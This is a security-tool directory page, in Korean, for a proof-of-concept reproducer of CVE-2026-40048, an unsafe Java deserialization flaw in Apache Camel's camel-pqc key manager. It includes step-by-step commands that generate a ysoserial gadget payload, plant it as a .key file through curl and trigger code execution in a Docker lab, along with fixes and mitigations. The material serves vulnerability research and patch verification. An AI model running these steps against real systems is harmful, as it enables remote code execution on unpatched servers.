Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40048 — CVE-2026-40048 재현기: Apache Camel camel-pqc FileBasedKeyLifecycleManager 안전하지 않은 역직렬화 (RCE) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-40048
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationBinary ExploitationLabs & Practice
GitHuboscerd/cve-2026-40048

CVE-2026-40048

CVE-2026-40048 재현기: Apache Camel camel-pqc FileBasedKeyLifecycleManager 안전하지 않은 역직렬화 (RCE)

1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

camel-pqc FileBasedKeyLifecycleManager 안전하지 않은 역직렬화 재현기 (CVE-2026-40048)

이 프로젝트는 Apache Camel의 camel-pqc 컴포넌트에서 CVE-2026-40048로 추적되는 Java 역직렬화 취약점을 시연합니다. FileBasedKeyLifecycleManager는 구성된 키 디렉터리에서 <keyId>.key 파일을 ObjectInputFilter 없이 원시 ObjectInputStream으로 읽으므로, 해당 디렉터리에 쓰기 권한이 있는 공격자는 원격 코드 실행을 달성할 수 있습니다.

보안 권고: https://camel.apache.org/security/CVE-2026-40048.html

취약점 요약

PropertyValue
구성 요소camel-pqc
영향받는 클래스org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: 신뢰할 수 없는 데이터의 역직렬화
영향원격 코드 실행 (RCE)
영향받는 버전4.18.0 이상 4.18.2 미만, 4.19.0 이상 4.20.0 미만
수정된 버전4.18.2, 4.20.0
JIRACAMEL-23200
신고자Andrea Cosentino (ASF), Venkatraman Kumar (Securin)

기술 세부 사항

FileBasedKeyLifecycleManager는 양자 내성 키(post-quantum key)를 <keyDir>/<keyId>.key에 직렬화된 Java 객체로 저장합니다. 키를 로드하면 해당 파일을 원시 ObjectInputStream으로 역직렬화하며, KeyPair로의 캐스팅은 readObject()가 반환된 후에만 발생합니다:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

키 디렉터리에 쓰기 권한이 있는 공격자는 경로 탐색(path traversal), 잘못 구성된 볼륨 권한, 손상된 키 프로비저닝 파이프라인, 또는 심볼릭 링크 공격을 통해 정상적인 키 수명 주기 로드 중에 실행되는 악의적으로 조작된 직렬화 객체를 심을 수 있습니다.

사전 요구 사항

  • Java 17+ 및 Maven 3.8+ (jar 빌드용)
  • Docker (재현기 실행)
  • ysoserial (페이로드 생성용)

재현 단계

1단계: jar 빌드 및 컨테이너 시작

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

2단계: 악성 페이로드 생성

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

3단계: 페이로드를 <keyId>.key로 설치

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

4단계: 키 수명 주기 로드 트리거 (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

5단계: 확인

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

정리

root@kitploit:~
docker compose down

공격 벡터

getKey()는 정상적인 키 수명 주기 작업(서명/검증 키 검색, 교체 확인 등) 중에 호출되므로, 공격자가 설치한 <keyId>.key를 로드하면 역직렬화가 트리거됩니다.

악용 조건

  1. FileBasedKeyLifecycleManager가 사용하는 키 디렉터리에 대한 쓰기 권한 (공유/잘못 구성된 볼륨, 경로 탐색, 손상된 프로비저닝, 심볼릭 링크).
  2. 클래스패스에 있는 가젯(gadget) 라이브러리 (예: commons-collections:3.2.1).

후속 관련 CVE

ObjectInputStream-in-key-store 패턴은 이후 더 광범위하게 해결되었습니다:

  • CVE-2026-46590 — HashiCorp Vault + AWS Secrets Manager 자매 관리자(불완전한 수정 후속 조치).
  • CVE-2026-43867 — 동일한 AWS Secrets Manager 경로에 대한 독립적인 보고.

권장 수정 사항

4.18.2 / 4.20.0으로 업그레이드하십시오. 이 수정 사항은 ObjectInputStream 기반 저장을 표준 PKCS#8(개인 키) / X.509 SubjectPublicKeyInfo(공개 키) Base64 JSON 인코딩으로 대체합니다.

완화 조치

업그레이드할 때까지:

  1. 키 디렉터리에 대한 쓰기 권한을 애플리케이션 자체 ID로 제한하십시오.
  2. 가젯 라이브러리를 제거하십시오 (commons-collections 3.x 업그레이드/제거).
  3. 키 자료는 신뢰 수준이 낮은 주체가 쓸 수 없는 볼륨에 보관하십시오.

파일

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

고지 사항

이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드